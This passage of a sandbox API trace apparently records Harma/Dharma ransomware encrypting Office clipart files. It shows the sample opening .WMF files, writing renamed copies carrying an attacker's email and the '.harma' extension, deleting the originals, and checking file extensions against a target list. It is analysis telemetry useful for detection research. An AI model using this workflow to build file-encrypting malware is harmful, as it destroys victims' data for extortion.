dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.302] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0157.303] GetLastError () returned 0x0 [0157.303] ReadFile (in: hFile=0x360, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x34e2, lpOverlapped=0x0) returned 1 [0157.561] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x34f0, lpOverlapped=0x0) returned 1 [0157.563] ReadFile (in: hFile=0x360, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.563] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.563] SetEndOfFile (hFile=0x368) returned 1 [0157.563] CloseHandle (hObject=0x368) returned 1 [0157.563] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.563] SetEndOfFile (hFile=0x360) returned 1 [0157.565] CloseHandle (hObject=0x360) returned 1 [0157.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0157.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0157.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0157.566] lstrlenW (lpString=".doc") returned 4 [0157.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.566] lstrlenW (lpString=".docx") returned 5 [0157.566] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.566] lstrlenW (lpString=".pdf") returned 4 [0157.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.567] lstrlenW (lpString=".xls") returned 4 [0157.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.567] lstrlenW (lpString=".xlsx") returned 5 [0157.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.567] lstrlenW (lpString=".ppt") returned 4 [0157.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0157.567] lstrlenW (lpString=".zip") returned 4 [0157.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.567] lstrlenW (lpString=".rar") returned 4 [0157.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.567] lstrlenW (lpString=".bz2") returned 4 [0157.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.567] lstrlenW (lpString=".7z") returned 3 [0157.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0157.567] lstrlenW (lpString=".dbf") returned 4 [0157.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0157.567] lstrlenW (lpString=".1cd") returned 4 [0157.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0157.567] lstrlenW (lpString=".jpg") returned 4 [0157.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0157.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0157.567] lstrlenW (lpString=".doc") returned 4 [0157.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.567] lstrlenW (lpString=".docx") returned 5 [0157.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.567] lstrlenW (lpString=".pdf") returned 4 [0157.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.568] lstrlenW (lpString=".xls") returned 4 [0157.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.568] lstrlenW (lpString=".xlsx") returned 5 [0157.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.568] lstrlenW (lpString=".ppt") returned 4 [0157.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0157.568] lstrlenW (lpString=".zip") returned 4 [0157.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.568] lstrlenW (lpString=".rar") returned 4 [0157.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.568] lstrlenW (lpString=".bz2") returned 4 [0157.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.568] lstrlenW (lpString=".7z") returned 3 [0157.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0157.568] lstrlenW (lpString=".dbf") returned 4 [0157.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0157.568] lstrlenW (lpString=".1cd") returned 4 [0157.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0157.568] lstrlenW (lpString=".jpg") returned 4 [0157.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.568] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.568] lstrlenW (lpString="HH00625_.WMF") returned 12 [0157.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0157.569] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2116) returned 1 [0157.569] CloseHandle (hObject=0x360) returned 1 [0157.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x20 [0157.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0157.570] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.570] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0157.584] GetLastError () returned 0x0 [0157.584] ReadFile (in: hFile=0x360, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x844, lpOverlapped=0x0) returned 1 [0157.814] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x850, lpOverlapped=0x0) returned 1 [0157.815] ReadFile (in: hFile=0x360, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.815] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.815] SetEndOfFile (hFile=0x368) returned 1 [0157.815] CloseHandle (hObject=0x368) returned 1 [0157.820] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.820] SetEndOfFile (hFile=0x360) returned 1 [0157.822] CloseHandle (hObject=0x360) returned 1 [0157.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0157.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0157.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0157.823] lstrlenW (lpString=".doc") returned 4 [0157.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.823] lstrlenW (lpString=".docx") returned 5 [0157.823] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.823] lstrlenW (lpString=".pdf") returned 4 [0157.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.823] lstrlenW (lpString=".xls") returned 4 [0157.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.823] lstrlenW (lpString=".xlsx") returned 5 [0157.823] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.823] lstrlenW (lpString=".ppt") returned 4 [0157.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0157.824] lstrlenW (lpString=".zip") returned 4 [0157.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.824] lstrlenW (lpString=".rar") returned 4 [0157.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.824] lstrlenW (lpString=".bz2") returned 4 [0157.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.824] lstrlenW (lpString=".7z") returned 3 [0157.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0157.824] lstrlenW (lpString=".dbf") returned 4 [0157.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0157.824] lstrlenW (lpString=".1cd") returned 4 [0157.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0157.824] lstrlenW (lpString=".jpg") returned 4 [0157.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0157.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0157.824] lstrlenW (lpString=".doc") returned 4 [0157.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.824] lstrlenW (lpString=".docx") returned 5 [0157.824] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.824] lstrlenW (lpString=".pdf") returned 4 [0157.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.825] lstrlenW (lpString=".xls") returned 4 [0157.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.825] lstrlenW (lpString=".xlsx") returned 5 [0157.825] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.825] lstrlenW (lpString=".ppt") returned 4 [0157.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0157.825] lstrlenW (lpString=".zip") returned 4 [0157.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.825] lstrlenW (lpString=".rar") returned 4 [0157.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.825] lstrlenW (lpString=".bz2") returned 4 [0157.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.825] lstrlenW (lpString=".7z") returned 3 [0157.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0157.825] lstrlenW (lpString=".dbf") returned 4 [0157.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0157.825] lstrlenW (lpString=".1cd") returned 4 [0157.825] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0157.825] lstrlenW (lpString=".jpg") returned 4 [0157.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.825] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.826] lstrlenW (lpString="HH00685_.WMF") returned 12 [0157.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0157.826] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=4032) returned 1 [0157.826] CloseHandle (hObject=0x360) returned 1 [0157.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x20 [0157.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0157.827] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.827] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0157.827] GetLastError () returned 0x0 [0157.827] ReadFile (in: hFile=0x360, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xfc0, lpOverlapped=0x0) returned 1 [0157.864] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xfd0, lpOverlapped=0x0) returned 1 [0157.865] ReadFile (in: hFile=0x360, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.865] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.865] SetEndOfFile (hFile=0x368) returned 1 [0157.913] CloseHandle (hObject=0x368) returned 1 [0157.932] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.932] SetEndOfFile (hFile=0x360) returned 1 [0157.935] CloseHandle (hObject=0x360) returned 1 [0157.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0157.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0157.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0157.936] lstrlenW (lpString=".doc") returned 4 [0157.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.936] lstrlenW (lpString=".docx") returned 5 [0157.936] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.936] lstrlenW (lpString=".pdf") returned 4 [0157.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.936] lstrlenW (lpString=".xls") returned 4 [0157.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.936] lstrlenW (lpString=".xlsx") returned 5 [0157.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.936] lstrlenW (lpString=".ppt") returned 4 [0157.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0157.936] lstrlenW (lpString=".zip") returned 4 [0157.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.937] lstrlenW (lpString=".rar") returned 4 [0157.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.937] lstrlenW (lpString=".bz2") returned 4 [0157.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.937] lstrlenW (lpString=".7z") returned 3 [0157.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0157.937] lstrlenW (lpString=".dbf") returned 4 [0157.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0157.937] lstrlenW (lpString=".1cd") returned 4 [0157.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0157.937] lstrlenW (lpString=".jpg") returned 4 [0157.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0157.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0157.937] lstrlenW (lpString=".doc") returned 4 [0157.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.937] lstrlenW (lpString=".docx") returned 5 [0157.937] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.937] lstrlenW (lpString=".pdf") returned 4 [0157.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.937] lstrlenW (lpString=".xls") returned 4 [0157.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.937] lstrlenW (lpString=".xlsx") returned 5 [0157.937] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.937] lstrlenW (lpString=".ppt") returned 4 [0157.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0157.938] lstrlenW (lpString=".zip") returned 4 [0157.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.938] lstrlenW (lpString=".rar") returned 4 [0157.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.938] lstrlenW (lpString=".bz2") returned 4 [0157.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.938] lstrlenW (lpString=".7z") returned 3 [0157.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0157.938] lstrlenW (lpString=".dbf") returned 4 [0157.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0157.938] lstrlenW (lpString=".1cd") returned 4 [0157.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0157.938] lstrlenW (lpString=".jpg") returned 4 [0157.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.938] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.938] lstrlenW (lpString="HH01058_.WMF") returned 12 [0157.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0158.026] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2756) returned 1 [0158.026] CloseHandle (hObject=0x334) returned 1 [0158.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x20 [0158.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.044] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.044] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0158.045] GetLastError () returned 0x0 [0158.045] ReadFile (in: hFile=0x338, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, 